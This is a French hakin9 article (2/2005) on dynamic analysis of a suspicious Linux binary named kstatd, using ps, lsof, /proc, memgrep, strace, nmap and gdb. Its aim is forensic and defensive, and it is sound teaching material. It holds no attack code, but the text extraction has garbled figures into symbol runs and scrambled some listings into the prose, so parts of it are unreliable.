��������������������������� ����������������������������������
���������������������������������
������������������������������������� ������������������������������������� ������������������������������ ������������������������ ������������������
Défense
���������������������������������������� ���������������������
�������������������� ���������������������
���
���
���������������������������
������������������
Figure 2. Déroulement de l'analyse dynamique
58
www.hakin9.org
hakin9 N o 2/2005
Analyse dynamique du code exécutable
par la lettre F (FLAGS) détermine les drapeaux actuels du processus. Pour pouvoir tracer le processus, la commande ps peut être lancée plusieurs fois. Il est également possible d'utiliser l'outil de type top qui met à jour la liste de processus en cours dans un intervalle de temps défini. Lançons donc la commande ps avec les arguments appropriés (cf. le Listing 1). Consultons les informations obtenues. L'utilisation du processeur et l'état du processus kstatd indiquent qu'au moment du lancement de la commande ps, il n'a effectué aucun calcul intense et était en mode endormi (fonction schedule _ timeout()). De plus, après un lancement multiple de la commande ps, il s'est avéré que la valeur du registre %eip indique que le processus attend un évènement ou une ressource non défini à ce moment. À la suite de l'analyse des signaux, nous pouvons savoir quels signaux sont interceptés, négligés et bloqués (la définition des masques : _ _sigmask(sig) (((unsigned long int) 1) << (((sig) - 1) % (8 * sizeof (unsigned long int))))
dans
Listing 2. Informations obtenues à l'aide de la commande lsof # lsof -p 7058 COMMAND PID USER kstatd 7058 root kstatd 7058 root kstatd 7058 root kstatd 7058 root
FD cwd rtd txt 3u
TYPE DEVICE SIZE NODE NAME DIR 8,1 4096 440795 /analysis DIR 8,1 4096 2 / REG 8,1 522680 440796 /analysis/kstatd sock 0,0 13548 can't identify protocol
le fichier /usr/include/bits/sigset.h). Le processus intercepte les signaux avec le masque : 10000 (0x17 – SIGCHLD), 4000 (0xf – SIGTERM ), 20 (0x6 – SIGABRT) et 2 (0x2 – SIGINT) et néglige le signal 200000 (0x16 – SIGTTOU). Les drapeaux du processus (040 = forked but didn't exec) montrent que le processus est passé en mode de travail de fond à la suite de l'exécution de la fonction fork(). Outre les informations obtenues à l'aide de la commande ps, les données sur les fichiers ouverts par le processus peuvent aussi s'avérer très utiles – dans le système de type UNIX, un fichier ouvert peut être un élément quelconque (p. ex. un fichier ordinaire, un répertoire, des fichiers de périphériques, des bibliothèques partagées, des flux, des fichiers réseau – un socket de type internet
Système de fichiers virtuel procfs dans Linux
Dans le système Linux, le répertoire /proc est un système de fichiers virtuel qui joue le rôle d'interface pour les structures de données du noyau du système d'exploitation. Il contient un ensemble d'informations les plus importantes sur les processus en cours dans le système et dans le noyau. Le répertoire /proc se compose, entre autres, des sous-répertoires dont les noms répondent aux numéros PID des processus en cours. Chacun de ces sous-répertoires contient les fichiers suivants : • • • • •
• • • • •
cmdline – la liste de paramètres passés au processus lancé à partir de la ligne de commandes, cwd – le lien au répertoire courant de travail dans l'environnement du processus lancé, environ – la liste de variables d'environnement du processus lancé, exe – le lien au fichier du programme lancé, fd – contient les liens aux descripteurs de fichiers ouverts par le processus qui constituent des liens symboliques au fichier approprié (la valeur 0 indique l'entrée standard, 1 – la sortie standard, 2 – sortie d'erreur standard), maps – le fichier contenant les informations sur les régions de la mémoire mappées par le processus et sur les droits d'accès à ces régions, mem – l'accès à la mémoire du processus au moyen des fonctions open(), read(), fseek(), root – le répertoire principal du système de fichiers supérieur au processus lancé, stat – les informations statistiques sur le processus (la définition dans le fichier /usr/src/linux/fs/proc/array.c), statm – les informations statistiques sur l'utilisation de la mémoire.
hakin9 N o 2/2005
www.hakin9.org
ou un socket de type unix). Pour obtenir ces informations, nous nous servirons de la commande lsof. Par défaut, lsof affiche la liste de tous les fichiers ouverts dans le système avec leurs noms, types, tailles, nom et numéro PID du processus qui les a ouverts. Pour consulter les fichiers ouverts seulement par le processus indiqué, il faut utiliser l'option –p (cf. le Listing 2). Prêtons attention aux informations sur le fichier de type socket (sock) ouvert en lecture et en écriture (u) sans aucun protocole déterminé. Remarquons aussi que dans la liste obtenue, les fichiers ouverts ayant les descripteurs 0 (entrée standard), 1 (sortie standard) et 2 (sortie d'erreur standard) sont absents. Cela signifie que tous ces canaux de communication ont été fermés par le processus analysé. Si le programme analysé avait été compilé dynamiquement, le résultat de la commande lsof obtenu aurait contenu aussi les informations sur les bibliothèques partagées utilisées. Un autre élément fournissant les informations de base sur l'état du système et les processus en cours est évidemment le système de fichiers virtuel procfs. Il joue le rôle d'interface pour les structures de données du noyau du système (cf. l'Encadré Système de fichiers virtuel procfs dans Linux). En consultant le contenu du sous-répertoire dont le nom correspond au numéro PID du processus analysé, nous pouvons retrouver, par exemple, les informations présentées dans le Listing 3. Il est facile de remarquer que nous avons déjà obtenues plusieurs de ces informations au moyen des commandes ps et lsof. De nouvelles informations
59
Listing 3. Informations sur le programme analysé obtenues à partir du répertoire /proc
Listing 5. Affichage du contenu du segment .rodata
# more status Name: kstatd State: S (sleeping) Tgid: 7058 Pid: 7058 PPid: 1 TracerPid: 0 Uid: 0 0 0 Gid: 0 0 0 FDSize: 32 Groups: 0 1 2 3 4 6 10 VmSize: 532 kB VmLck: 0 kB VmRSS: 208 kB VmData: 20 kB VmStk: 8 kB VmExe: 492 kB VmLib: 0 kB SigPnd: 0000000000000000 SigBlk: 0000000000000000 SigIgn: 8000000000200000 SigCgt: 0000000000014022 CapInh: 0000000000000000 CapPrm: 00000000fffffeff CapEff: 00000000fffffeff
# memgrep -p 7058 -d -a rodata \ -l 700 -F printable 700 bytes starting at 080a6fa0 (+/- 0) as printable... 080a6fa0: ......../dev/pty 080a6fb0: XX.pqrstuvwxyzPQ 080a6fc0: RST.0123456890ab 080a6fd0: cdef.tty../bin/s 080a6fe0: h.eth0.dst port 080a6ff0: 80.............. 080a7000: @(#) $Header: /t 080a7010: cpdump/master/li 080a7020: bpcap/bpf/net/bp 080a7030: f_filter.c,v 1.3 080a7040: 5 2000/10/23 19: 080a7050: 32:21 fenner Exp 080a7060: $ (LBL)........ 080a7070: ................ 080a7080: @(#) $Header: /t 080a7090: cpdump/master/li 080a70a0: bpcap/bpf_image. 080a70b0: c,v 1.24 2000/07 080a70c0: /11 00:37:04 ass 080a70d0: ar Exp $ (LBL).. … 080a71a0: @(#) $Header: /t 080a71b0: cpdump/master/li 080a71c0: bpcap/etherent.c 080a71d0: ,v 1.21 2000/07/ 080a71e0: 11 00:37:04 assa 080a71f0: r Exp $ (LBL)... 080a7200: @(#) $Header: /t 080a7210: cpdump/master/li 080a7220: bpcap/grammar.y, 080a7230: v 1.64 2000/10/2 080a7240: 8 10:18:40 guy E 080a7250: xp $ (LBL)..
# ls -la fd total 0 dr-x-----dr-xr-xr-x lrwx------
2 root 3 root 1 root
# more maps address 08048000-080c3000 080c3000-080c6000 080c6000-080cb000 bfffe000-c0000000
0 0
root root root
perms offset r-xp 00000000 rw-p 0007b000 rwxp 00000000 rwxp fffff000
0 Feb 12 20:26 . 0 Feb 12 20:20 .. 64 Feb 12 20:26 3 -> socket:[13548]
dev 08:01 08:01 00:00 00:00
inode 440796 440796 0 0
pathname /analysis/kstatd /analysis/kstatd
Listing 4. Affichage des segments de la mémoire du processus
Défense
# memgrep -p 7058 -L .bss => 080c5a20 .data => 080c3000 (5216 bytes, 5 Kbytes) .rodata => 080a6fa0 (113544 bytes, 110 Kbytes) .text => 080480e0 (388768 bytes, 379 Kbytes) stack => bffffb80
60
concernent le mappage des éléments spécifiques du programme dans la mémoire : l'étendu de l'adressage occupé par un élément du processus, les droits d'accès à ces éléments spécifiques (r – read, w – write, x – execute, s – shared, p – private), le décalage par rapport au début du fichier, le numéro du périphérique (major, minor), le numéro d'i-node, le chemin et le nom du fichier source.
Dans la première étape, il est aussi recommandé d'analyser la mémoire du programme lancé. Nous pouvons avoir l'accès à la mémoire du processus à l'aide des fonctions open(2), read(2) et fseek(3) exécutées sur le fichier mem localisé dans le répertoire /proc/PID/. Pour analyser le contenu de la mémoire, nous utiliserons memgrep (il permet aussi d'analyser les copies core). L'une des fonctions
www.hakin9.org
les plus importantes de cet outil est la possibilité d'afficher la mémoire du processus à partir de l'adresse indiquée (d'une longueur appropriée et au format déterminé) et de rechercher la mémoire du processus. À la suite de l'utilisation de l'outil memgrep pour l'affichage des segments de la mémoire du processus analysé (cf. le Listing 4) et de l'affichage du contenu des caractères imprimables de la section .rodata (cf. le Listing 5), nous obtenons des informations répétitives sur la bibliothèque libpcap (packet capture) – cela suggère que le programme analysé l'utilise. Les chaînes de caractères définissant le nom de l'interface réseau (eth0), du périphérique du terminal /dev/ptyXX , du shell système /bin/sh apparaissent.
hakin9 N o 2/2005
Analyse dynamique du code exécutable
Au lieu de strace
Strace n'est pas le seul outil servant à tracer les appels des fonctions système. Une alternative intéressante à l'outil strace peut être syscalltrack. Cet outil permet de définir les appels à tracer et de déterminer les actions à effectuer, si un critère défini est satisfait. Par exemple, comme action nous pouvons prendre le fait d'appeler, d'imposer un échec de l'appel ou de suspendre le processus réalisant l'appel. Syscalltrack fonctionne au niveau du noyau et est chargé dans le système sous forme de deux modules (sct _ rules, sct _ hijack). Pour analyser les programmes compilés dynamiquement, outre les outils strace et syscalltrack, nous pouvons employer le programme ltrace dont la fonction principale consiste à suivre les appels des bibliothèques dynamiques.
La chaîne de caractères dst port 80 pouvant jouer le rôle d'un filtre des paquets pour les fonctions de la bibliothèque libpcap est aussi affichée. À cette étape, il faudrait vérifier la liste des ports ouverts. Vu que nous avons utilisé la commande lsof, l'emploi de la commande netstat
paraît dans ce cas inutile. Pourtant, afin d'obtenir les informations sûres concernant les ports ouverts, nous devons scanner les ports à partir d'un hôte de confiance (p. ex. à l'aide de l'outil Nmap). De plus, il est possible de vérifier la conformité des sommes cryptographiques avec la base
générée auparavant et consulter les journaux du sniffeur pour détecter les tentatives de connections aux systèmes extérieurs. Dans le cas analysé, nous n'avons pas remarqué de nouveau port ouvert, l'intégrité des fichiers n'a pas été non plus violée et le sniffeur n'a rien enregistré d'intéressant.
Étape II – le traçage des appels des fonctions système et des références aux bibliothèques
Dans l'étape suivante, nous suivrons les actions du programme à partir de l'analyse des appels des fonctions système. Pour ce faire, nous nous
Listing 6. Traçage des appels des fonctions système à l'aide de l'outil strace # more kstatd.out [????????] execve("./kstatd", ["./kstatd"], [/* 19 vars */]) = 0 [08061dae] fcntl64(0, F_GETFD) = 0 [08061dae] fcntl64(1, F_GETFD) = 0 [08061dae] fcntl64(2, F_GETFD) = 0 [0806090d] uname({sys="Linux", node="mlap.test.lab", ...}) = 0 [0807fd44] geteuid32() = 0 [08060ad4] getuid32() = 0 [0807fe1c] getegid32() = 0 [0807fdb0] getgid32() = 0 [08080291] brk(0) = 0x80c7a0c [08080291] brk(0x80c7a2c) = 0x80c7a2c [08080291] brk(0x80c8000) = 0x80c8000 [08056948] rt_sigaction(SIGCHLD, {0x8048768, [CHLD], SA_RESTART|0x4000000}, {SIG_DFL}, 8) = 0 [08056948] rt_sigaction(SIGABRT, {0x8048920, [ABRT], SA_RESTART|0x4000000}, {SIG_DFL}, 8) = 0 [08056948] rt_sigaction(SIGTERM, {0x8048920, [TERM], SA_RESTART|0x4000000}, {SIG_DFL}, 8) = 0 [08056948] rt_sigaction(SIGINT, {0x8048920, [INT], SA_RESTART|0x4000000}, {SIG_DFL}, 8) = 0 [08056948] rt_sigaction(SIGTTOU, {SIG_IGN}, {SIG_DFL}, 8) = 0 [08062302] socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3 [08062104] ioctl(3, 0x8915, 0xbffff9c0) = 0 [08062104] ioctl(3, 0x891b, 0xbffff9c0) = 0 [08061b4d] close(3) = 0 [08062302] socket(PF_PACKET, SOCK_RAW, 768) = 3 [08062104] ioctl(3, 0x8933, 0xbffff920) = 0 [08062104] ioctl(3, 0x8927, 0xbffff920) = 0 [08062104] ioctl(3, 0x8933, 0xbffff920) = 0 [08062262] bind(3, {sin_family=AF_PACKET, proto=0x03, if2, pkttype=0, addr(0)={0, }, 20) = 0 [080622e2] setsockopt(3, SOL_PACKET, PACKET_ADD_MEMBERSHIP, [2], 16) = 0 [08062104] ioctl(3, 0x8921, 0xbffff920) = 0 [080622e2] setsockopt(3, SOL_SOCKET, 0x1a /* SO_??? */, [28], 8) = 0 [08061dae] fcntl64(3, F_GETFL) = 0x2 (flags O_RDWR) [08061dae] fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK) = 0 [080622a2] getsockopt(3, SOL_SOCKET, SO_RCVBUF, [65535], [4]) = 0 [08061b74] read(3, 0xbffff5e0, 1024) = -1 EAGAIN (Resource temporarily unavailable) [08061dae] fcntl64(3, F_SETFL, O_RDWR) = 0 [08061b4d] close(0) = 0 [08061b4d] close(1) = 0 [08061b4d] close(2) = 0 [08060977] fork() = 8022 [0806099d] _exit(0) = ?
hakin9 N o 2/2005
www.hakin9.org
61
�������������������������������������� ����������� �
�
�
�
�
�
�
�
�
����������� �
�
�
�
������������������������ ������������������������������������� ������������������
��������� �
�
�
�
�
�
�
��������������������� ������������������������� ������������������������������������ ���������������������
��������� �
�
�
�
�
�
�
�
��� ��������������������������
�
�
�
�
��� ���������������������������
Défense
Figure 3. Ordre d'octets réseau – conversion servirons de l'outil strace, bien que ce ne soit pas le seul programme conçu à cet effet (cf. l'Encadré Au lieu de strace). Les noms des appels des fonctions système enregistrés par strace, leurs arguments et les valeurs retournées sont par défaut envoyés à la sortie d'erreur, mais ils peuvent être aussi redirigés vers un fichier déterminé (option -o). Si nous voulons tracer les processus fils créés par le processus analysé, il faut utiliser l'option (-f). Une fonction très utile est la possibilité d'enregistrer les résultats pour chacun des processus fils créés dans les fichiers à part (utilisation des options -ff et -o). Si nous voulons ajouter au résultat les informations sur la valeur du registre %eip au moment de l'appel d'une fonction système, il faut employer l'option -i. Ce qui est le plus intéressant pour nous, c'est la possibilité de suivre le processus en cours – il suffit d'utiliser l'option -p dans laquelle il faut déterminer le PID du processus à suivre. Lançons donc le traçage du programme analysé. Les résultats seront redirigés vers le fichier kstatd.out (cf. le Listing 6) : # strace -ff -i -o \ kstatd.out /analysis/kstatd
Les lignes au début (depuis 08061dae jusqu'à 08080291) sont liées aux appels des fonctions système en cours d'initialisation du processus et ne
62
nous intéressent pas. Les informations intéressantes apparaissent avec la ligne 08056948 – la fonction système rt _ sigaction() est appelée plusieurs fois. Cette fonction détermine la gestion des signaux sélectionnés. Nous avons obtenu ces informations auparavant, à la suite de l'exécution de la commande ps, mais dans ce cas (outre les informations sur les signaux interceptés et négligés), nous pouvons obtenir aussi les adresses des fonctions de gestion de ces signaux. L'appel suivant est la fonction socket() qui crée le socket pour la communication réseau et retourne le descripteur y associé (08062302). Ensuite, la fonction ioctl() est appelée – grâce à elle, nous pouvons charger ou modifier les valeurs des paramètres du périphérique associé au descripteur (08062104). Après l'analyse du second argument de la fonction ioctl(), nous pouvons apprendre que l'adresse de l'interface (0x8915 = SIOCGIFADDR) et l'adresse du réseau (0x891b = SIOCGIFNETMASK) ont été chargées – les définitions proviennent du fichier /usr/include/linux/sockios.h. Après quelques instants, le socket est fermé (08061b4d), ce qui suggère que la tâche du fragment du code appelant ces fonctions consiste uniquement à acquérir ces informations. Ensuite (08062302), à l'aide de la fonction socket(), un socket est créé – ses paramètres indiquent qu'il peut être utilisé pour recevoir et envoyer les paquets en mode brut (raw socket).
www.hakin9.org
Le type de socket SOCK _ RAW signifie la possibilité d'accéder aux paquets au niveau de la couche de liaison de données dans le modèle ISO/OSI. Le troisième argument de la fonction socket() est le numéro du protocole géré. Vu que le numéro du protocole est transféré en ordre réseau, en inversant la valeur 768 (ntohs(768), cf. la Figure 3), nous obtenons la valeur 3 (ETH _ P _ ALL – la définition du fichier /usr/include/linux/if_ether.h), ce qui signifie que tous les paquets, indépendamment du protocole appliqué, seront gérés. Si nous analysons le second argument de la fonction ioctl() nous pouvons apprendre que le nom de l'interface réseau est mappé sur son index (SIOCGIFINDEX) et l'adresse matérielle de l'interface (SIOCGIFHWADDR) est chargée. Les actions successives (08062262) consistent à affecter au socket créé une adresse locale à l'aide de l'appel de la fonction système bind() et à appeler la fonction setsockopt() permettant de modifier les paramètres liés au socket. L'un des arguments passé à cette fonction est SOL _ PACKET qui permet, entre autres, d'activer le mode promiscuous (dans le cas analysé, ce mode n'a pas été activé). Ensuite, la fonction ioctl() est appelée. Cette fois-ci, elle est utilisée pour obtenir la valeur MTU (SIOCGIFMTU) pour le socket créé. L'appel suivant (080622e2) de la fonction système setsockopt() confirme notre soupçon en ce qui concerne l'emploi par l'auteur du programme kstatd de la bibliothèque libpcap parce que la vérification de la valeur mystérieuse – 0x1a /* SO _ ??? */ – passée en tant que second argument de l'appel se réfère à l'option SO _ ATTACH _ FILTER (la définition du fichier /usr/include/asm/socket.h). L'utilisation de cette option suggère l'affectation préalable au socket créé du filtre des paquets dst port 80. Il en résulte que malgré le mode promiscuous de l'interface désactivé, l'écoute du trafic réseau a été effectuée. Ensuite, dans le programme analysé (08061dae), l'état du drapeau
hakin9 N o 2/2005
Analyse dynamique du code exécutable
close-on-exec pour le descripteur du socket est vérifié (au moyen de l'appel de la fonction fcntl()). Le second appel de cette fonction fixe la valeur du drapeau sur O _ RDWR|O _ NONBLOCK . Dans les instructions successives, le programme charge les informations sur le tampon et essaie, avec échec, de lire les données du socket. Cette erreur est probablement due au fait que l'auteur de kstatd a positionné le drapeau O _ NONBLOCK et que le programme a tenté de lire le contenu du socket qui ne contenait encore aucun paquet. Les appels successifs des fonctions système (0806b4d) ferment l'entrée standard (0), la sortie (1) et la sortie d'erreurs (2). Les dernières (08060977 et 0806099d) fonctions système appelées dans le fichier de résultats analysé kstatd.out sont : la fonction fork() et la fin du processus supérieur – exit(). À ce moment, le processus est passé en mode de travail de fond. Mais ce n'est pas tout. Lors du fonctionnement de l'outil strace, un second fichier de résultat a été créé – kstatd.out.PID (où PID est l'identifiant du processus). Il a été créé à la suite de l'appel de la fonction système fork(). Ce fichier ne contient qu'une seule ligne dans laquelle la fonction recvfrom() est appelée. Cette fonction est employée pour recevoir les informations à partir du socket (indépendamment du fait que ce dernier soit orienté connexion ou non). Le premier argument de la fonction recvfrom() est le numéro du socket (dans notre cas, c'est la valeur 3) qui a été ouvert dans le fichier de résultat précédent de strace : # more kstatd.out.8022 [080622c2] recvfrom(3,
À partir de l'analyse précédente, nous savons que le socket créé reçoit tous les paquets, indépendamment du protocole, mais le filtre dst port 80 est aussi défini. Essayons donc de générer le trafic réseau et observer si le programme analysé réagit. Pour générer les paquets,
hakin9 N o 2/2005
Listing 7. Paquet enregistré par recvform() # more kstatd.out.8022 [080622c2] recvfrom(3, "\0\f)\321\'\202\0\f)\22\24N\10\0E\0\0 (\242%\0\0004\6\267"..., 200, MSG_TRUNC, § {sa_family=AF_PACKET, proto=0x800, if2, § pkttype=PACKET_HOST, addr(6)={1, 000c2912144e}, [20]) = 60 [08062104] ioctl(3, 0x8906, 0xbffff710) = 0 [080622c2] recvfrom(3,
scannons encore une fois le système virtuel au moyen de l'outil Nmap : # nmap –sS –P0 10.10.12.197
Il s'est avéré que le programme analysé a réagi. La fonction recvform() a été débloquée et a enregistré un paquet (cf. le Listing 7). Vu que parmi plusieurs paquets envoyés, seulement un a été accepté, nous pouvons être sûrs que le filtre dst port 80 a été utilisé. Bien que le paquet parvienne au port 80, le programme est retourné à la boucle d'attente d'un paquet déterminé, ce qui indique que des conditions supplémentaires doivent être satisfaites. Puisque nous ne connaissons pas les conditions devant être satisfaites pour activer les fonctions définies dans le programme, ce type d'analyse n'a plus de sens. Il faut donc acquérir les informations qui nous permettrons de connaître les conditions attendues pour le paquet. L'une des méthodes qui doit nous permettre d'obtenir ces informations est le débogage.
Étape III – débogage
L'élément suivant de l'analyse dynamique est le débogage, c'est-à-dire l'analyse pas à pas, de l'exécution du programme, du contenu de la mémoire et de l'état du processeur. Pour l'effectuer, nous utiliserons gdb, l'outil disponible par défaut dans les systèmes Linux/*BSD. Les informations sur le débogueur gdb et ses commandes principales sont présentées dans l'Encadré Guide de gdb. Pourtant, si le programme a été compilé statiquement et soumis au stripping, le débogage peut être inefficace. Il est évident que cela est dû
www.hakin9.org
§
au manque des symboles (l'effet de l'utilisation de la commande strip). De plus, il devient impossible de distinguer facilement le code des fonctions de bibliothèques ajouté du code utilisateur. Dans ce cas, si nous ne tentons pas de reconstruire le tableau des symboles, l'analyse peut être longue et fastidieuse. Pour y remédier, nous pouvons essayer de déterminer ou de récupérer les symboles grâce aux outils de type dress ou elfgrep (cf. l'article Ingénierie inverse du code exécutable ELF dans l'analyse après intrusion, hakin9 1/2005). Si l'opération de récupération de la liste des symboles supprimés ne réussissait pas, pour nous faciliter le débogage, nous pourrions observer les appels des fonctions système. Nous pouvons retrouver leurs appels dans le code en recherchant les endroits des appels de l'interruption int 0x80. L'appel système déterminé est réalisé par le transfert dans le registre %eax de la valeur affectée à la fonction système. Les autres paramètres de l'appel de la fonction (en fonction de leur nombre) sont passés dans les registres %ebx, %ecx, %edx, %esi, %edi et %ebp. Dans le cas du programme analysé, pour récupérer la liste des symboles supprimés, nous avons employé l'outil elfgrep avec les scripts (search_static, gensymbols) qui automatisent ce processus : # bin/search_static kstatd_s_strip \ /home/install/libc/libc_components \ > obj_file # bin/search_static kstatd_s_strip \ /home/install/libc/pcap_components \ >> obj_file … # bin/gensymbols obj_file > symbols_db
63
Guide de gdb Disponible par défaut dans les distributions Linux/*BSD, le débogueur gdb permet d'effectuer quatre actions principales :
•
break *0x08048010 – le placement du point d'interruption
•
clear (cl) – la suppression des points d'interruption.
•
L'affichage du contenu de la mémoire ou des valeurs du registre – print (p) :
•
• •
le lancement du programme avec la possibilité de définir les paramètres qui peuvent influencer son comportement, l'analyse pas à pas et l'arrêt du fonctionnement du programme sur l'endroit souhaité ou après que les conditions déterminées soient satisfaites, la consultation des effets de l'exécution du programme, si celui-ci est arrêté, la modification de certains éléments du programme pour estimer leur influence sur son comportement.
gdb possède aussi le système d'aide avancé, très utile surtout pour les utilisateurs peu expérimentés (commande help). Au-dessous, nous présentons les commandes les plus utiles du débogueur gdb avec les exemples d'emploi (entre parenthèses, les raccourcis des commandes sont affichés). Le désassemblage du code du programme analysé – disassemble (disass) : •
disassemble 0x0804800 0x08048ff – le désassemblage
•
disassemble
• •
du code de la plage de mémoire déterminée, main+0 main+55 – le désassemblage du code de la plage de mémoire déterminée avec l'utilisation des symboles, disassemble main – le désassemblage du code à partir du symbole indiqué, disassemble 0x0804800 – le désassemblage du code à partir de l'adresse indiquée.
à l'adresse indiquée,
• • •
print $eax – l'affichage de la valeur du registre choisi, print
main(),
main – l'affichage de l'adresse de la fonction
print *0x08048010 – l'affichage de la valeur qui se trouve
à l'adresse indiquée.
L'analyse du contenu de la mémoire – x : • • • • •
x $reg – l'affichage des données qui se trouvent à l'adresse indiquée par la valeur du registre, x 0x08048010 – l'affichage des données se trouvant à l'adresse indiquée, x *0x08048010 – la référence aux données indiquées par l'adresse définie, x /10i 0x8048918 – le désassemblage du code à partir de l'adresse indiquée (10 lignes), x /10xb 0x8048918 – l'affichage de 10 octets (valeurs hexadécimales).
La détermination du comportement du débogueur au moment de l'appel de la fonction (v)fork – set follow-fork-mode (set foll) : •
set follow-fork-mode child / parent – permet de suivre
le processus fils/père,
L'affichage du contenu des registres de base du processeur – info registers (info reg) :
Le contrôle de l'exécution du programme débogué : • •
next / nexti – l'exécution d'une instruction du code source
run – le lancement du programme analysé,
•
•
step / stepi – l'exécution d'une instruction du code source
/machine (au-dessus des appels call),
•
•
continue – la continuation du fonctionnement du program-
L'affichage des trames de la pile – backtrace (bt) :
– la continuation du fonctionnement du programme jusqu'à l'endroit indiqué par le paramètre , kill – l'envoi du signal SIGKILL au programme suivi.
•
info all-registeres (info all-reg) – l'affichage du contenu de tous les registres, info nazwa _ rejestru – l'affichage du contenu du registre sélectionné.
/machine,
me après l'arrêt,
Défense
•
•
until
La définition du point d'interruption, l'arrêt du programme dans l'endroit indiqué – break (br) : •
break main – le placement du point d'interruption dans la
fonction main(),
64
backtrace (n) – l'affichage de toutes les trames de la pile (ou les n les plus intérieures).
Malgré tous ces avantages, le débogueur gdb a un défaut important – il ne permet pas d'observer simultanément certains éléments du programme débogué (p. ex. les valeurs des registres, la pile, le code du programme). C'est pourquoi, les interfaces graphiques simplifiant l'utilisation de gdb ont été créées. L'une de ces interfaces est DDD – Data Display Debugger, les autres sont xxgdb et KDbg.
www.hakin9.org
hakin9 N o 2/2005
Analyse dynamique du code exécutable
En résultat, nous avons obtenu le fichier symbols_db contenant la liste des adresses avec les noms des symboles retrouvés que nous allons utiliser lors du débogage. Si nous admettons que les informations sur les bibliothèques utilisées et leurs versions restent inconnues, il faudrait prendre différentes bibliothèques (et leurs versions) dans le processus de récupération des symboles. Une fois que la liste des symboles supprimés est prête, nous pouvons passer au débogage en lançant gdb (cf. la Figure 4). Comme paramètre, nous entrons le nom du programme analysé : # gdb ./kstatd
À partir des opérations effectuées dans les étapes précédentes nous savons que dans le programme analysé, la fonction fork() est appelée. Nous devons donc décider ce que nous voulons suivre – le processus fils ou père – et changer le comportement du débogueur en fonction de ce choix. Par défaut, gdb suit le processus père. Paramétrons pourtant l'observation des processus fils :
�������������������������� �����������������������
������������������������������������� �������������������������������
������������������������������� ���������������������� �����������������������������������������
����������������������������������� ���������������������������������������� ������������������������������������������
������������������������������������� ����������������
�������������������������������������� ����������������������������
��������������������������������� �����������������������������������������
�������������������������������� ������������������������������������ ���������������������
(gdb) set follow-fork-mode child
Puisque nous voulons commencer le débogage par la fonction main(), nous devons déterminer son emplacement (bien que ce ne soit pas toujours une bonne solution). Vu que dans le programme analysé, le contenu du tableau des symboles a été supprimé – nous déterminerons l'emplacement de la fonction main() en lisant la valeur du champ entrypoint de l'en-tête ELF qui pointe vers la fonction _ start() et analysons son contenu (cf. le Listing 8). Pour arrêter l'exécution du programme analysé au début de la fonction main(), nous définissons le point d'interruption : (gdb) break *0x08048978
Avant de lancer le programme et de suivre ses actions, nous pouvons consulter son code en désassemblant
hakin9 N o 2/2005
������������������������������������ ����������������������������������� ������������������������������������� �����������������������������
����������������������������� ���������������������� ���
Figure 4. Procédure du débogage du fichier kstatd Listing 8. Recherche de l'emplacement de la fonction main() à l'aide de gdb (gdb) disassemble 0x080480e0 0x080480ff Dump of assembler code from 0x80480e0 to 0x80480ff: 0x80480e0: xor %ebp,%ebp 0x80480e2: pop %esi 0x80480e3: mov %esp,%ecx 0x80480e5: and $0xfffffff0,%esp 0x80480e8: push %eax 0x80480e9: push %esp 0x80480ea: push %edx 0x80480eb: push $0x80a6f80 0x80480f0: push $0x80480b4 0x80480f5: push %ecx 0x80480f6: push %esi 0x80480f7: push $0x8048978 0x80480fc: call 0x80564b0 End of assembler dump.
www.hakin9.org
65
Listing 9. Code désassemblé de la fonction main()
Défense
(gdb) disassemble 0x08048978 0x08048fff Dump of assembler code from 0x8048978 to 0x8048fff: 0x8048978: push %ebp 0x8048979: mov %esp,%ebp 0x804897b: sub $0x138,%esp 0x8048981: sub $0x8,%esp 0x8048984: push $0x8048768 0x8048989: push $0x11 0x804898b: call 0x80567f8 0x8048990: add $0x10,%esp 0x8048993: sub $0x8,%esp 0x8048996: push $0x8048920 0x804899b: push $0x6 0x804899d: call 0x80567f8 0x80489a2: add $0x10,%esp 0x80489a5: sub $0x8,%esp 0x80489a8: push $0x8048920 0x80489ad: push $0xf 0x80489af: call 0x80567f8 … 0x8048c22: cmp $0x1ff1,%ax 0x8048c26: jne 0x8048b34 0x8048c2c: call 0x8060970 0x8048c31: mov %eax,%eax 0x8048c33: mov %eax,0xfffffecc(%ebp) 0x8048c39: cmpl $0x0,0xfffffecc(%ebp) 0x8048c40: jne 0x8048b34 0x8048c46: sub $0x8,%esp 0x8048c49: mov 0xfffffed8(%ebp),%eax 0x8048c4f: movzwl (%eax),%eax 0x8048c52: sub $0x4,%esp 0x8048c55: push %eax 0x8048c56: call 0x80635c0 0x8048c5b: add $0x8,%esp 0x8048c5e: mov %eax,%eax 0x8048c60: mov %eax,%eax 0x8048c62: movzwl %ax,%eax 0x8048c65: push %eax 0x8048c66: mov 0xfffffed8(%ebp),%eax 0x8048c6c: pushl 0x4(%eax) 0x8048c6f: call 0x80635b0 0x8048c74: add $0x4,%esp 0x8048c77: mov %eax,%eax 0x8048c79: mov %eax,%eax 0x8048c7b: push %eax 0x8048c7c: call 0x8048848 0x8048c81: add $0x10,%esp 0x8048c84: mov $0x0,%eax 0x8048c89: leave 0x8048c8a: ret
66
les fragments souhaités. L'exemple du code de la fonction main() est présenté dans le Listing 9. À ce moment, nous pouvons effectuer une analyse préliminaire du code du programme et déterminer les points d'interruption supplémentaires dans les points souhaités. Dans les endroits où la fonction (call 0x…) est appelée, nous pouvons aussi vérifier la liste des symboles
récupérés au préalable et rechercher les noms des fonctions de bibliothèques qui sont appelées. Si sur la liste des symboles reconstitués, le symbole que nous recherchons n'est pas présent, cela veut dire qu'il est impossible de retrouver la fonction de bibliothèque appropriée ou, tout simplement, une fonction créée par l'auteur du programme est appelée (fonction utilisateur).
www.hakin9.org
Une fonction très utile du débogueur gdb, outre la possibilité de suivre et d'analyser le code du programme, est la possibilité de consulter le contenu de la mémoire. Un exemple d'emploi de cette fonction peut être une tentative de lecture de la valeur de l'un des arguments passés à la fonction pcap _ compile() qui devrait pointer vers la chaîne de caractères définissant le filtre de paquets utilisé (nous le connaissons à partir des opérations précédentes). Étant donné que les arguments de la fonction appelée sont empilés en ordre inverse – à partir de la droite de la définition, nous déterminerons l'emplacement du passage de la valeur de cet argument à la fonction pcap _ compile() : 0x8048a4b: pushl 0xfffffeec(%ebp) 0x8048a51: push $0x0 0x8048a53: push $0x80a6fe7 0x8048a58: lea 0xfffffee0(%ebp),%eax 0x8048a5e: push %eax 0x8048a5f: pushl 0xfffffef4(%ebp) 0x8048a65: call 0x8051de0
